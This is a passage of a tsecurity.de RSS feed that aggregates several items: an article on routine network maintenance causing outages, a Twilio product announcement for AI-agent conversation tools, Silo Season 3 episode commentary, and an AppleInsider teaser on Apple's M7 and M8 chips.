<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.csoonline.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Routine maintenance as a failure vector in modern networks]]></title>
<description><![CDATA[Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.



Eve...]]></description>
<link>https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/</guid>
<pubDate>Mon, 13 Jul 2026 11:08:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.</p>



<p>Every pre-check passed. Device health looked normal. High-availability synchronization was complete. Monitoring showed no obvious concerns. Yet shortly after the change, users began reporting application failures.</p>



<p>The root cause was not a failed upgrade, hardware fault or software defect. The maintenance activity exposed a dependency elsewhere in the traffic path that nobody had considered.</p>



<p>Since then, I have seen similar patterns repeatedly across enterprise environments. The change itself was rarely the problem. The problem was the assumption that the change was isolated.</p>



<p>Planned maintenance is intended to reduce risk, but in practice, it often introduces risk into an otherwise stable network.</p>



<p>Many production incidents result from routine tasks such as firewall updates, DNS changes, certificate renewals, routing adjustments, load balancer failovers, WAF updates, switch upgrades or software patches, rather than dramatic failures.</p>



<p>The reality is that “routine” does not equate to “low risk.” It simply means the activity has been performed before, not that the current environment will respond the same way.</p>



<p>Modern networks have become too interconnected for maintenance to be treated as a simple device-level task. A change to one control point can expose a dependency elsewhere in the traffic path. A firewall update can affect asymmetric return traffic. A DNS change can shift users to a data center where persistence is not aligned. A load balancer failover can expose stale ARP or MAC learning issues. A certificate renewal can cause an inspection or TLS negotiation to fail in the backend. A WAF update can block application behavior that was never visible in testing.</p>



<p>Failures rarely stem from the maintenance activity itself, but rather from the assumption that the change is isolated.</p>



<h2 class="wp-block-heading">Why routine changes still cause outages</h2>



<p>In traditional network operations, the unit of change was often a device: upgrade a switch, modify a router, add a firewall rule, renew a certificate or reboot an appliance. That model worked better when application traffic paths were simpler, and dependencies were easier to understand.</p>



<p>Today, a single user transaction may cross DNS, global traffic management, WAN routing, data center switching, firewalls, load balancers, TLS inspection points, WAF policies, API gateways and backend application tiers. Each layer may make an independent decision about availability, security, routing or session handling.</p>



<p>This creates a risky maintenance pattern. Teams often validate only the component they changed, not the complete traffic flow before and after the change. Devices may appear healthy, configurations may load correctly and all checks may pass, yet users can still experience failures due to a changed dependency somewhere in the end-to-end path.</p>



<p>Google’s Site Reliability Engineering (SRE) guidance highlights that changes remain one of the most common sources of service disruption, which is why mature organizations invest heavily in change validation, rollback planning and observability. <a href="https://sre.google/sre-book/">The SRE book</a> provides extensive discussion of change management, reliability engineering and operational risk in large-scale environments.</p>



<p>For this reason, maintenance windows should be evaluated as both operational events and potential failure vectors.</p>



<h2 class="wp-block-heading">Common failure points during maintenance</h2>



<p>One common issue is state mismatch. Firewalls, load balancers, NAT devices and application delivery controllers often maintain connection or session state. During failover, reboot or path change, existing flows may not survive even if the standby device becomes active as designed. New connections may succeed while long-lived sessions fail. In other cases, traffic may enter through one device and return through another, causing stateful inspection to drop packets that appear invalid.</p>



<p>Asymmetric routing is another frequent cause. A routing change may look harmless from a Layer 3 perspective, but if the forward and return paths traverse different firewalls or inspection zones, applications can fail intermittently. The network may still be “up,” but the security policy no longer sees the full conversation.</p>



<p>Layer 2 behavior is also underestimated. In highly available data center designs, MAC learning, ARP cache behavior, VLAN tagging, port channels and first-hop gateway behavior can determine whether traffic moves cleanly after a failover. A device may successfully assume an active role, but upstream switches or firewalls may still forward traffic toward the old path until tables age out or are refreshed.</p>



<p>DNS and GSLB changes introduce a different class of risk. Teams often test name resolution, but resolution is only the first step. The more important question is where users are being sent and whether that destination is ready to handle production traffic.</p>



<p><a href="https://www.internetsociety.org/resources/deploy360/dns/">DNS resilience guidance published by the Internet Society</a> emphasizes that successful name resolution alone does not guarantee application availability, particularly when multiple infrastructure dependencies exist behind the DNS response.</p>



<p>If global traffic management shifts users from one data center to another, the receiving site must have aligned firewall rules, load balancer configuration, health monitors, certificates, persistence behavior, routing advertisements and backend capacity. Otherwise, DNS sends users to a site that is not actually ready.</p>



<p>Certificate maintenance can also break more than the browser-facing endpoint. In many environments, TLS is terminated, re-encrypted, inspected or validated across multiple hops. Renewing a certificate on the external virtual server may not address backend certificates, intermediate chains, SNI behavior, cipher compatibility or trust stores used by inspection devices. The maintenance task may be described as a certificate renewal, but the real dependency is end-to-end TLS negotiation.</p>



<p>Security policy maintenance creates another risk. WAFs, IPSs, DDoS protection systems, bot defense platforms and firewall policies are designed to block abnormal behavior. But during updates, tuning changes or signature refreshes, they can also block legitimate application traffic if policy enforcement is not validated against real transaction patterns.</p>



<p>This is especially true for APIs, where small differences in headers, methods, payload structure or authentication flows can trigger unexpected enforcement.</p>



<h2 class="wp-block-heading">The test environment problem</h2>



<p>Many teams rely on pre-checks and test environments, but these controls are often less effective than they seem.</p>



<p>Pre-checks confirm device reachability, interface status, route existence, pool member availability and HA health. While necessary, these checks do not ensure production traffic will survive a path change because they focus on infrastructure rather than transaction validation.</p>



<p>Test environments rarely mirror production. Production environments involve real user volume, client diversity, DNS caching behavior, firewall states, certificates, backend latency and complex dependencies. A failover that succeeds in a lab may behave very differently in the real world.</p>



<p>This does not render testing useless, but test results should not be considered proof of production safety. They provide evidence, not a guarantee.<br><br>This challenge aligns with broader <a href="https://www.nist.gov/cyberframework">operational resilience guidance from the NIST Cybersecurity Framework</a>, which emphasizes continuous monitoring, validation and recovery planning as critical operational capabilities.</p>



<p>A stronger maintenance process starts with mapping the traffic path before the window. For critical applications, teams should understand the normal ingress path, egress path, firewall zones, NAT points, load balancer virtual servers, DNS or GSLB decision points, TLS termination points, persistence requirements and backend dependencies.</p>



<p>The next step is defining failure expectations. What happens to existing sessions if a firewall is rebooted? Should source MAC, floating IP, ARP or upstream forwarding behavior change during a load balancer failover? How long will cached clients continue to access the old site after a DNS shift? Which clients and inspection devices validate the certificate chain when a certificate is replaced?</p>



<p>These questions should be addressed before the maintenance window, not during an outage.</p>



<p>Pre-checks should include both control-plane and data-plane evidence. Control-plane checks confirm configuration, synchronization, device health, routing tables, interface status and object availability. Data-plane checks validate real traffic movement: TCP handshakes, TLS negotiation, HTTP status codes, API responses, session persistence, source NAT behavior and return-path consistency.</p>



<p>During the change, monitoring should focus on symptoms that expose traffic failure early. Device CPU and interface status are useful, but they are not enough. Teams should also watch connection resets, denied firewall logs, WAF violation spikes, pool member selection failures, DNS answer changes, TCP retransmissions, backend 5xx errors and synthetic transaction results.</p>



<p>Rollback planning must also be precise. Simply rolling back a configuration is often insufficient. If a DNS record changes, cached clients may continue using the previous answer. If a firewall state table is cleared, restoring the rule does not recover active sessions. If failover alters forwarding behavior, upstream devices may require ARP refresh, route reconvergence or manual validation.</p>



<p>An effective rollback plan should identify lost state, persistent caches and the evidence required to confirm recovery.</p>



<h2 class="wp-block-heading">Treating maintenance as a resilience exercise</h2>



<p>The objective is not to make maintenance overly complex or bureaucratic. The objective is to avoid underestimating its risks.</p>



<p>Every maintenance window is a controlled opportunity to test whether the network behaves as specified by the architecture.</p>



<p>If failover is part of the design, maintenance should verify failover behavior. If a secondary data center is expected to handle traffic, maintenance should demonstrate that it can process real transactions. If security policies are updated, maintenance should prove that legitimate traffic is still allowed. If certificates are renewed, maintenance should validate the complete TLS path, not just the public endpoint.</p>



<p><a href="https://uptimeinstitute.com/resources">Industry outage studies published by the Uptime</a> Institute consistently show that human error and process failures remain significant contributors to downtime. Their annual outage research continues to highlight the role of operational processes and maintenance activities in service disruptions.<br><br>Maintenance windows provide an opportunity to identify those weaknesses before they become customer-facing incidents.</p>



<p>This requires closer collaboration between network, security, application and operations teams. Network engineers may own routing or load-balancing changes, but application teams understand transaction flows. Security teams understand inspection and enforcement behavior. Operations teams often see user-impacting symptoms first.</p>



<p>Treating maintenance as a shared traffic event rather than a device event reduces blind spots.</p>



<p>Routine maintenance will always involve some risk. However, the greatest risk is the false confidence that the term ‘routine’ conveys.</p>



<p>Modern networks fail in the spaces between systems: between DNS and load balancing, between firewalls and routing, between TLS inspection and application behavior, between HA design and actual forwarding state. Maintenance exposes those spaces.</p>



<p>For that reason, network teams should view every maintenance window as more than a checklist. It is a live test of architecture, operational discipline and production resilience.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Infrastructure for the agentic era: A new conversation layer for the Twilio Platform]]></title>
<description><![CDATA[A new era of customer engagement is taking shape. AI agents are quickly becoming integral to the way businesses serve, support, and sell to customers — able to respond, reason, and take action in ways that go far beyond scripted automation.



Many customer journeys, however, are still built on s...]]></description>
<link>https://tsecurity.de/de/3664598/it-security-nachrichten/infrastructure-for-the-agentic-era-a-new-conversation-layer-for-the-twilio-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664598/it-security-nachrichten/infrastructure-for-the-agentic-era-a-new-conversation-layer-for-the-twilio-platform/</guid>
<pubDate>Mon, 13 Jul 2026 10:09:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A new era of customer engagement is taking shape. AI agents are quickly becoming integral to the way businesses serve, support, and sell to customers — able to respond, reason, and take action in ways that go far beyond scripted automation.</p>



<p>Many customer journeys, however, are still built on systems that don’t talk to each other. Customer data lives in one place, channel history in another, and AI agents often operate with only part of the picture. Customers feel the pain when they switch between channels like voice and messaging, get transferred, and have to repeat themselves yet again. It doesn’t matter that they’ve been loyal to a brand for years, every interaction feels like a cold start. That is the conversation gap.</p>



<p>It’s clear that AI isn’t the problem, infrastructure is. Closing the gap requires new building blocks that focus on continuity, so context can carry forward across systems, channels, human agents, and AI agents.</p>



<p>To bridge the gap, at <a href="https://signal.twilio.com/?_gl=1*qsec1h*_gcl_aw*R0NMLjE3Nzk3MTY4MzguQ2p3S0NBanc1c19RQmhBZEVpd0FERF9nQnUyRVR4YTdGTFRCNDVPcktsd2dvbnZrQ3hZdlNtQXRJRHVoS09lOVJySXFsQ3k2eHZZajBob0NRZkVRQXZEX0J3RQ..*_gcl_au*MTAwMjE5MDU2OS4xNzc5MzUyNjYz*_ga*MTA5NDA4OTEuMTc3MTU2MTMzNg..*_ga_RRP8K4M4F3*czE3ODA5NzUwMjYkbzE3NyRnMSR0MTc4MDk3NzU4NiRqNjAkbDAkaDA.&amp;utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="sponsored">SIGNAL 2026</a>, we are introducing a new conversation layer for the Twilio Platform.</p>



<p>Twilio Conversation Orchestrator, Twilio Conversation Memory, and Twilio Conversation Intelligence are now generally available. Together, they help businesses coordinate interactions, preserve context, and connect human and AI agents so every conversation is more continuous and useful.</p>



<p>In addition to the new Conversations layer, we’re also announcing platform updates that make it easier to build, manage, and scale customer engagement on Twilio — from a reimagined Twilio Console to expanded channels and new voice AI capabilities.</p>



<h2 class="wp-block-heading">New building blocks for connected conversations</h2>



<p>The conversation gap does more than create inconsistent customer experiences. It hurts conversion and retention, increases operational costs, adds integration complexity, and makes agents less productive. The new platform capabilities we’re introducing are designed to fix that by coordinating interactions, maintaining context, and surfacing signals as conversations happen.</p>



<h2 class="wp-block-heading"><a></a>Conversation Orchestrator</h2>



<p><a href="https://www.twilio.com/en-us/blog/products/conversation-orchestrator?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="sponsored">Conversation Orchestrator</a> helps businesses coordinate interactions across Twilio channels without complex custom logic. Teams can configure it in Console or configure their implementation with the API. It connects interactions into a single thread and manages handoffs between human agents and automated systems.</p>



<h2 class="wp-block-heading">Conversation Memory</h2>



<p><a href="https://www.twilio.com/en-us/blog/products/launches/conversation-memory?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="noreferrer noopener">Conversation Memory</a> creates a living, identity-resolved profile by connecting customer data with conversation history and customer traits. That means each interaction starts with the right context. It’s built specifically for LLMs to reduce latency and token usage by surfacing the most relevant details when they matter.</p>



<p>A new Enterprise Knowledge API (now generally available) also allows teams to deliver more relevant experiences and ground interactions in trusted business knowledge such as FAQs, policies, and product documentation.</p>



<h2 class="wp-block-heading">Conversation Intelligence</h2>



<p><a href="https://www.twilio.com/en-us/blog/products/launches/conversation-intelligence?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="noreferrer noopener">Conversation Intelligence</a> provides real-time understanding of live interactions. Using prebuilt and custom LLM-based operators, it can detect changes in sentiment, flag potential escalations, and trigger action during a conversation, not only after it ends.</p>



<p>That gives teams the ability to respond sooner, support agents more effectively, and improve customer outcomes while the conversation is still in progress.</p>



<p>Together, these products help businesses create customer experiences that feel more connected across channels.</p>



<h2 class="wp-block-heading">Open by design</h2>



<p>Twilio remains neutral by design. We start with the premise that you know your business. We aren’t here to prescribe a model, framework, or data strategy. We provide the infrastructure that helps you build customer engagement in the way that works best for your business. You pick the model and agent runtime. You own the data.</p>



<p>That doesn’t mean you need to start from scratch, either. We partnered with Microsoft, AWS, and others to create blueprints that support faster development. We are also introducing an open-source developer toolkit, <a href="https://www.twilio.com/en-us/blog/products/launches/agent-connect?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="noreferrer noopener">Twilio Agent Connect</a> (now generally available), that lets your teams connect agents built on any LLM or framework directly to Twilio’s infrastructure.</p>



<p>For developers, this means more flexibility. For businesses, it means less lock-in and the ability to get value from existing investments. For partners, it means more ways to build with Twilio.</p>



<h2 class="wp-block-heading">A new front door</h2>



<p>We are also introducing a reimagined <a href="https://www.twilio.com/en-us/blog/products/launches/new-twilio-console?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="noreferrer noopener">Twilio Console</a>, because as customer engagement grows more complex, managing the infrastructure behind it should feel effortless.</p>



<p>The new Console is a single mission control center that brings your communications, identity, and data into one experience: one login, consistent logs across every surface, an intelligent Console Assistant, transparent billing insights, and streamlined compliance workflows that no longer slow you down.</p>



<p>Over the coming months, we’ll roll out this new Console experience to customers automatically. You can also opt in to gain early access.</p>



<h2 class="wp-block-heading">More channels, more control, smarter conversations</h2>



<p>In addition to these launches, we are announcing several updates that expand customer reach, support enterprise requirements, and make it simpler to build on Twilio.</p>



<ul class="wp-block-list">
<li><a href="https://www.twilio.com/en-us/messaging/channels/apple-messages-for-business?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="sponsored">Apple Messages for Business</a> (Private beta) and Twilio Email (GA) give teams new ways to reach customers on the channels they already use.</li>



<li>Data Residency for SMS (EU) (Public beta) enables teams to manage personal data locally to support regional data requirements.</li>



<li><a href="https://www.twilio.com/en-us/blog/products/launches/the-evolution-of-conversation-relay?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="sponsored">Conversation Relay</a> enhancements add PCI compliance, HIPAA eligibility, Insights, and support for Deepgram Flux for smarter turn detection — helping AI agents better understand when a person has finished speaking.</li>



<li><a href="https://www.twilio.com/en-us/blog/partners/integrations/provision-twilio-communications-channels-stripe-projects?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_infra-agentic-era_brandposthub" target="_blank" rel="sponsored">Stripe Projects integration</a> enables developers and AI agents to seamlessly provision Twilio within Stripe Projects in a single, programmable CLI workflow.</li>
</ul>



<h2 class="wp-block-heading">Built with our customers</h2>



<p>Bringing these new products to life required a close partnership with many beta customers and partners. This helped us understand real-world signals and needs to help make the capabilities robust from the start.</p>



<p>Among dozens of others, Centerfield, Constellation Dealerships, Car Finance 247, and Meera.ai leveraged Twilio to solve their own customer engagement challenges. These teams showed what is possible when businesses carry context forward, act on live conversation signals, and connect AI agents with human teams in the moments that matter.</p>



<p><a href="https://www.carfinance247.co.uk/" target="_blank" rel="noreferrer noopener">Car Finance 247</a>, a leading UK online car finance broker, is using Twilio to help recover stalled loan applications. When customers miss a field, need to correct information, or still need to confirm terms and conditions, AI-powered outreach across voice, SMS, and RCS, Conversation Memory tracks the application state. Conversation Orchestrator manages the outreach journey, and Flex helps bring in a human agent as needed. As Reg Rix, Co-Founder and CEO, shared:</p>



<p><em>“Because the platform remembers where each customer left off, we can pick up right where they stopped, helping them cross the finish line in a way that is modern, responsive, and genuinely helpful.”</em></p>



<p><a href="https://www.centerfield.com/" target="_blank" rel="sponsored">Centerfield</a>, a technology company powering AI-driven commerce, helps brands connect with consumers across digital and phone-based journeys. With Twilio, the team is connecting real-time conversation data with customer context to guide agents and AI systems in the moment, standardise what works, and improve performance at scale. As Aniketh Parmar, Chief Technology Officer, said:</p>



<p><em>“Performance comes down to how well every interaction moves a customer forward. We’re capturing each conversation in real time and applying what we already know about the customer to guide our agents and AI systems in the moment. With the Twilio Platform, including Conversation Orchestrator, Conversation Memory, and Conversation Intelligence, we can see what’s driving conversations so we can standardise what works, eliminate what doesn’t, and continuously improve outcomes at scale.”</em></p>



<p><a href="https://constellationdealer.com/" target="_blank" rel="sponsored">Constellation Dealerships</a> is using Twilio’s agent infrastructure to accelerate AI-powered engagement across its dealer network, moving from evaluation to measurable outcomes in days. As Richard Pineault, Director of R&amp;D, shared:</p>



<p><em>“The value of this partnership is evident—our team progressed from evaluating Twilio’s agent infrastructure to realising measurable outcomes within days. This rapid speed-to-value exemplifies the agility and innovation required to propel the dealership industry into the future.”</em></p>



<p><a href="http://meera.ai/" target="_blank" rel="sponsored">Meera.ai </a>is building on Twilio to modernise outbound engagement, replacing repeated manual follow-ups with always-on conversations across voice, SMS, and messaging. Vivek Zaveri, Chief Executive Officer, said:</p>



<p><em>“Meera.ai has partnered with Twilio since our inception to champion a conversation-first future for commerce. As the industry shifts toward real-time LLM-enabled interactions, Twilio’s Platform and the new Conversations products will help us reach customers in the moment.”</em></p>



<p>Together, these customers and partners show that the Twilio Platform can help businesses recover stalled journeys, improve live interactions, accelerate time to value, and create more connected experiences across AI agents, human teams, and every customer channel.</p>



<h2 class="wp-block-heading">The next era of customer engagement starts here</h2>



<p>As AI agents own more of customer engagement, businesses need infrastructure that keeps conversations connected across channels, systems, and teams. That means preserving context, coordinating handoffs, and acting on what is happening in real time.</p>



<p>That is what we are building with this next generation of the Twilio Platform: a new layer that connects channels, context, intelligence, and human and AI agents, helping businesses make every digital interaction more connected, more useful, and more amazing.</p>



<p>For 17 years, Twilio has helped builders create better ways for businesses to connect with their customers. In this next era, that connection matters more than ever.</p>



<p><a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-infra-agentic-era_brandposthub" target="_blank" rel="noreferrer noopener">Explore the new Conversations layer</a>, try the products, and let’s build what comes next, together.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 2 Explains Why Memory Is the Show’s Deadliest Weapon]]></title>
<description><![CDATA[Silo Season 3 is using its flashbacks to reveal how memory became one of the most powerful weapons behind the creation and control of the silos.



Episode 2, “It’s All Good,” continues the season’s split-timeline structure, moving between Juliette Nichols in Silo 18 and events from more than 350...]]></description>
<link>https://tsecurity.de/de/3664576/ios-mac-os/silo-season-3-episode-2-explains-why-memory-is-the-shows-deadliest-weapon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664576/ios-mac-os/silo-season-3-episode-2-explains-why-memory-is-the-shows-deadliest-weapon/</guid>
<pubDate>Mon, 13 Jul 2026 09:54:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 is using its flashbacks to reveal how memory became one of the most powerful weapons behind the creation and control of the silos.



Episode 2, “It’s All Good,” continues the season’s split-timeline structure, moving between Juliette Nichols in Silo 18 and events from more than 350 years earlier. The season has turned its origin story into a political conspiracy involving Daniel Keene, Helen Drew, Charlotte Keene, and a government determined to hide the truth.



Charlotte and Juliette Are Living the Same Nightmare



Charlotte’s treatment introduces Dr. Victor Crnkovich, a specialist who claims he can remove painful memories and replace them with safer ones. His methods were reportedly tested on prisoners before being used to treat traumatised military personnel.



However, Charlotte’s condition suggests that the treatment has become a tool for controlling what people know. Someone has removed important parts of her past, especially her knowledge of the conflict involving Iran and the suspected dirty bomb attack.



Juliette faces a similar situation inside Silo 18. Camille and the Algorithm are using memory-altering drugs, edited recordings, and false accounts to convince her that the reality she remembers never happened. Her knowledge of Silo 17 and the outside world threatens the system that keeps the population obedient.



By placing these stories beside each other, Season 3 shows that the methods used inside the silo began long before the apocalypse. Charlotte and Juliette live centuries apart, but both women are trapped inside systems that rewrite their identities.



The Flashbacks Explain the Silo’s Resets



The Algorithm tells Camille that six population resets have already taken place, including one in Silo 18 around 140 years earlier. These resets likely involved more than stopping rebellions or replacing leaders.



They may have included drugging the water supply and erasing shared memories across the population. Crnkovich’s work provides a possible origin for the substances now being used against Juliette.



The drugs can remove older memories, but they cannot fully control how someone responds to new evidence. Juliette is already questioning the official story because parts of her memory continue to return. Charlotte may also recover enough information to expose what happened before the silos were activated.



Why the Pez Dispenser Matters



The duck Pez dispenser first appeared to be a simple object that survived from the old world. Season 3 now suggests that it carries a much deeper meaning. The premiere connected the same dispenser seen in the past to the relic later found inside Silo 18.



Physical objects can act as memory triggers. If Helen or Charlotte carried the dispenser into the silo, it may have helped someone preserve memories that the drugs were meant to erase.



This also explains why the authorities treat relics as dangerous objects. Relics provide evidence that the official version of history is incomplete. Some may even restore memories and reconnect people with truths hidden during previous resets.



The Flashbacks Could Reveal Who Created the Apocalypse



Helen’s investigation raises the possibility that the dirty bomb attack blamed on Iran was staged to justify a larger military response. If true, the disaster that forced humanity underground may have been planned rather than accidental.



The flashbacks are slowly showing how political manipulation, memory experiments, and the silo project became connected. Juliette’s story reveals the result of that plan, while Charlotte’s timeline shows how it started.



Season 3 still has several mysteries to solve, including the possible role of nanotechnology. However, the pattern is becoming clearer. The silos survive by controlling memory, destroying evidence, and removing anyone who remembers too much.]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 3 Release Date, Time, Preview, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ difficult recovery while the investigation in the Before Times places Helen Drew in serious danger. Titled “A Dark Web,” the episode will premiere on Apple TV on Friday, July 17, 2026.



Silo Season 3 Episode 3 Release Details




Episode t...]]></description>
<link>https://tsecurity.de/de/3663968/ios-mac-os/silo-season-3-episode-3-release-date-time-preview-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663968/ios-mac-os/silo-season-3-episode-3-release-date-time-preview-and-what-to-expect/</guid>
<pubDate>Mon, 13 Jul 2026 01:35:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 3 will continue Juliette Nichols’ difficult recovery while the investigation in the Before Times places Helen Drew in serious danger. Titled “A Dark Web,” the episode will premiere on Apple TV on Friday, July 17, 2026.



Silo Season 3 Episode 3 Release Details




Episode title: A Dark Web



Release date: Friday, July 17, 2026



Streaming platform: Apple TV



Genre: Science fiction, drama and mystery



Expected duration: Around 54 minutes



Season length: 10 episodes



Main cast: Rebecca Ferguson, Tim Robbins, Common, Harriet Walter, Chinaza Uche, Ashley Zukerman and Jessica Henwick




Apple TV is releasing one new episode every Friday. The ten-episode season began on July 3 and will conclude with its finale on September 4, 2026.



Where Is the Story Heading?



Episode 3 will follow Juliette as she begins taking greater control of her recovery. Her memory problems have made it difficult for her to understand what happened before she returned to Silo 18, but she appears ready to stop relying completely on the people around her.



Meanwhile, Helen will face the consequences of her investigation in the Before Times. Her work with Congressman Daniel Keene has already pushed them closer to a conspiracy linked to the creation of the silos and the events that destroyed the outside world.



Spoilers for Silo Season 3 Episode 2



Episode 2, titled “It’s All Good,” divided its attention between Silo 18 and events taking place centuries earlier.



Billings investigated a disappearance inside the silo, while Daniel had a tense encounter with Helen. Their storyline continues turning the season into a political mystery as both characters uncover information that powerful people want to keep hidden.



Episode 3 should deepen that investigation and explain why Helen begins suffering consequences for asking questions. The title “A Dark Web” also suggests that the conspiracy reaches beyond one person or government department.



Inside Silo 18, Juliette’s recovery remains central to the story. As she starts making her own decisions, she may recover information about Bernard, the rebellion and the strange forces controlling life underground. Her actions could also place her at the centre of another struggle for power.



Silo Season 3 Episode 3 arrives on Apple TV on July 17. What do you plan to watch this week? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Power of Apple's M7 & M8 chips was born from Apple Car research]]></title>
<description><![CDATA[We've been telling you this for years — Apple Car research wasn't lit on fire, and the fruits of Apple's labor on it will be seen in artificial intelligence performance in the M7 and M8 processor.16-inch MacBook Pro will be the first to get M7 Pro processorsBefore AI used to be called Apple's big...]]></description>
<link>https://tsecurity.de/de/3663483/ios-mac-os/power-of-apples-m7-m8-chips-was-born-from-apple-car-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663483/ios-mac-os/power-of-apples-m7-m8-chips-was-born-from-apple-car-research/</guid>
<pubDate>Sun, 12 Jul 2026 17:09:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We've been telling you this for years — Apple Car research wasn't lit on fire, and the fruits of Apple's labor on it will be seen in artificial intelligence performance in the M7 and M8 processor.<br><br><div><img src="https://photos5.appleinsider.com/gallery/61811-127942-Glossy-VS-Matte-Displaky-xl.jpg" alt="Two laptops on a wooden table display video editing software, with lighting creating a warm, cozy atmosphere." height="738"><br><span>16-inch MacBook Pro will be the first to get M7 Pro processors</span></div><br>Before AI used to be called Apple's <a href="https://appleinsider.com/articles/23/12/21/apple-isnt-behind-on-ai-its-looking-ahead-to-the-future-of-smartphones">biggest failure</a>, that title went to the <a href="https://appleinsider.com/inside/apple-car" title="Apple Car" data-kpt="1">Apple Car</a> which was cancelled after ten years of development and <a href="https://appleinsider.com/articles/24/02/29/abandoned-10-billion-apple-car-project-referred-to-as-titanic-disaster-by-employees">ten billion dollars</a> of investment. <em>AppleInsider</em> argued at the time that Apple Car research would pay off, but now both of these failures are being recast as positives, with <em>Bloomberg</em> saying this research is <a href="https://www.bloomberg.com/account/newsletters/power-on">being used</a> in designing future AI processors.<br><br>The report claims that for the future M7 and M8 processors, Apple is concentrating more on AI support than on issues such as overall speed and power efficiency. This reportedly means that these chip designs for the <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> and Apple Intelligence servers are based on the company's efforts toward a self-driving car.<br><br><br> <a href="https://appleinsider.com/articles/26/07/12/power-of-apples-m7-m8-chips-was-born-from-apple-car-research?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244932?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Easier ways to shop right from email]]></title>
<description><![CDATA[Over the past few months, there’s been a massive acceleration in the growth of eCommerce. Reports show that online revenue is growing 5 times faster than pre-COVID growth, and conveniences such as buy-online-pick-up-in-store are showing signs of permanent adoption. As retail businesses continue t...]]></description>
<link>https://tsecurity.de/de/3662846/it-security-nachrichten/easier-ways-to-shop-right-from-email/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662846/it-security-nachrichten/easier-ways-to-shop-right-from-email/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:11 +0200</pubDate>
